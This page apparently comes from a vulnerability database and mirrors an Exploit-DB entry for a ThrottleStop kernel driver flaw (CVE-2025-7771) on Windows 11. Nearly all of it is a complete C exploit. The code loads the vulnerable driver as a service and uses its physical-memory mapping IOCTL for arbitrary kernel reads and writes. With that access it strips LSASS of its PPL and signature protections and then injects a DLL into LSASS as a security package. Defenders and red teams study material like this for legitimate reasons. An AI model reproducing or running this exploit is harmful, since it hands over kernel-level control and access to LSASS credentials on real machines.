Lucene search
K

Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation

🗓️ 22 Apr 2026 00:00:00Reported by Xavi BeltranType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

Throttlestop kernel driver privilege escalation via out-of-bounds write on Windows 11.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-7771
18 Aug 202508:24
githubexploit
GithubExploit
Exploit for CVE-2026-0828
4 Feb 202601:47
githubexploit
GithubExploit
Exploit for CVE-2025-7771
3 Oct 202516:17
githubexploit
GithubExploit
Exploit for CVE-2025-7771
17 Apr 202623:06
githubexploit
GithubExploit
Exploit for CVE-2025-7771
21 Jan 202613:04
githubexploit
GithubExploit
throttlestop-poc
7 May 202608:01
githubexploit
Circl
CVE-2025-7771
6 Aug 202516:29
circl
CNNVD
TechPowerUp ThrottleStop 安全漏洞
6 Aug 202500:00
cnnvd
CVE
CVE-2025-7771
6 Aug 202509:35
cve
Cvelist
CVE-2025-7771 Code Execution / Escalation of Privileges in ThrottleStop
6 Aug 202509:35
cvelist
Rows per page
# Exploit Title: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation 
# Exploit Details: https://xavibel.com/2025/12/22/using-vulnerable-drivers-in-red-team-exercises/
# Date: 8/12/2025
# Exploit Author: Xavi Beltran
# Vendor Homepage: https://www.techpowerup.com/download/techpowerup-throttlestop/
# Version: 3.0.0.0
# Tested on: Windows 11
# CVE-2025-7771

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <Psapi.h>
#include <superfetch/superfetch.h>
#include <tlhelp32.h>
#include <string>
#include <sspi.h>

# define IOCTL_MMMAPIOSPACE  0x8000645C
#pragma comment(lib, "Secur32.lib")

#pragma pack(push,1)
typedef struct {
    ULONGLONG PhysicalAddress; // +0
    DWORD     NumberOfBytes;   // +8
} PHYS_REQ;                    // 0x0C
#pragma pack(pop)

// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

LPVOID GetBaseAddr(LPCWSTR drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        WCHAR szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++)
        {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
            {
                if (wcscmp(szDrivers, drvname) == 0)
                {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}

uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
    auto mm = spf::memory_map::current();
    if (!mm) {
        printf("[!] Superfetch init failed!\n");
        return 0;
    }

    auto phys = mm->translate((void*)virt_addr);
    if (!phys) {
        printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
        return 0;
    }

    //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
    // --- PHYSICAL READ ---
    PHYS_REQ in{};
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
        IOCTL_MMMAPIOSPACE,
        &in, sizeof(in),    // 0x0C
        &out, sizeof(out), //  Accepts 4 or 8
        &br, nullptr);

    //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
    if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
              printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result);
        return result;
    }

    return -1;
}

uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
    auto mm = spf::memory_map::current();
    if (!mm) {
        printf("[!] Superfetch init failed!\n");
        return 0;
    }

    auto phys = mm->translate((void*)where);
    if (!phys) {
        printf("[!] Translate failed for VA %p!\n", (void*)where);
        return 0;
    }

    //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
    PHYS_REQ in{};
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
        IOCTL_MMMAPIOSPACE,
        &in, sizeof(in),    // 0x0C
        &out, sizeof(out), // 8 (Accepts 4 or 8)
        &br, nullptr);

    //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
    if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
    }

    // WRITE
    printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where);
    *(uint64_t*)out = what;
    return 0;
}

DWORD FindProcessId(const std::wstring& processName) {
    DWORD processId = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE)
        return 0;

    PROCESSENTRY32W entry;
    entry.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &entry)) {
        do {
            if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
                processId = entry.th32ProcessID;
                break;
            }
        } while (Process32NextW(snapshot, &entry));
    }

    CloseHandle(snapshot);
    return processId;
}


int main()
{
    DWORD lsassPid = FindProcessId(L"lsass.exe");
    printf("[+] Target process PID: %d\n", lsassPid);
    //Installing the service

    SC_HANDLE hSCManager;
    SC_HANDLE hService;

    // Open the Service Control Manager
    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (hSCManager == NULL) {
        printf("[!] Error opening SCM: %lu\n", GetLastError());
        return 1;
    }

    // Create the service
    hService = CreateService(
        hSCManager,               
        L"ThrottleStop",          
        L"ThrottleStop",           
        SERVICE_ALL_ACCESS,       
        SERVICE_KERNEL_DRIVER,    
        SERVICE_AUTO_START,       
        SERVICE_ERROR_NORMAL,    
        L"C:\\Users\\Public\\a.sys",
        NULL, NULL, NULL, NULL, NULL);

    if (hService == NULL) {
        printf("[+] Error creating service: %lu\n", GetLastError());
        CloseServiceHandle(hSCManager);
        //return 1;
    }

    printf("[!] Service created successfully.\n");

    if (!StartService(hService, 0, NULL)) {
        printf("[!] Error starting the service: %lu\n", GetLastError());
    }
    else {
        printf("[+] Service started correctly.\n");
    }

    LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
    printf("[+] NT base: %p\n", nt_base);

    HANDLE hDrv = NULL;
    hDrv = CreateFileA("\\\\.\\ThrottleStop",
        (GENERIC_READ | GENERIC_WRITE),
        0x00,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hDrv == INVALID_HANDLE_VALUE)
    {
        printf("[-] Failed to get a handle on driver!\n");
        return -1;
    }
    else {
        printf("[+] Handle on  driver received!\n");
    }

    ULONGLONG result = 0x0;

    // nt!PsInitialSystemProcess nt + 0x5412e0
    ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;

    DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
    printf("[+] EPROCESS: 0x%llX\n", Eprocess);
    DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void

    DWORD64 SearchProcessPid = 0;
    DWORD64 searchEprocess = Eprocess;
    while (1)
    {
        searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
        SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
        if (SearchProcessPid == lsassPid) // LSASS PROCESS
        {
            break;
        }
    }

    printf("[+] Found LSASS EPROCESS!\n");
    printf("[+] Removing PPL Protection...\n");
    xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
    printf("[+] Removing Signature Level Protection...\n");
    xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
    printf("[+] LSASS protections disabled\n");
    CloseHandle(hDrv);

    SECURITY_PACKAGE_OPTIONS spo = {};
    SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
    printf("[+] DLL Injection successful!\n");

    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 48.7
EPSS0.00343
SSVC
64